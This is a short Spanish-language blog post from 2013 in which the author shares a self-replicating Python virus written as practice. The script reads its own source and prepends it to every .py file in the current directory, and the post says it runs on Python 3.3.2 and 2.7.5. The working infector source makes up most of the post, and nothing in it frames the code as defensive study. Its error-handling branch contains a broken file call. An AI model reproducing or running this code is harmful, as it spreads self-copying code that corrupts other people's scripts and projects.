lunes, 29 de julio de 2013

Infeccion en python

Bueno últimamente me e estado metiendo con python ya que es un buen lenguaje para hacer scrips de ultimo momento y ademas es muy poderoso, 

Aquí esta una infección que infecta exenciones en .py lo hice nomas para poder probar los conocimientos adquiridos se ejecuta en la carpeta raíz ya que no e podido meterme con el disco C por permisos

funciona    en python 3.3.2 y con 2.7.5 suerte 

import os
from sys import argv

this_file = open(argv[0])
this_lines = this_file.readlines()
this_file.close()
# se auto lee
for files in os.listdir('.'):
  #busca archivos
  if files.find('.py') >=1:
     new_files = open(files,"r+")
     target_lines = new_files.readlines()
     new_files.seek(0)
     try:
       #los infecta
        new_files.write("".join(this_lines))
        for target in target_lines:
            new_files.write("%s" %target)
        new_files.close()
     except:
       # si pasa un error
           new_files.close()
           new_files.open(files,"w")
           for target in target_lines:
             new_files.write("%s" %target)
           new_files.close()
           os._exit(1)

No hay comentarios: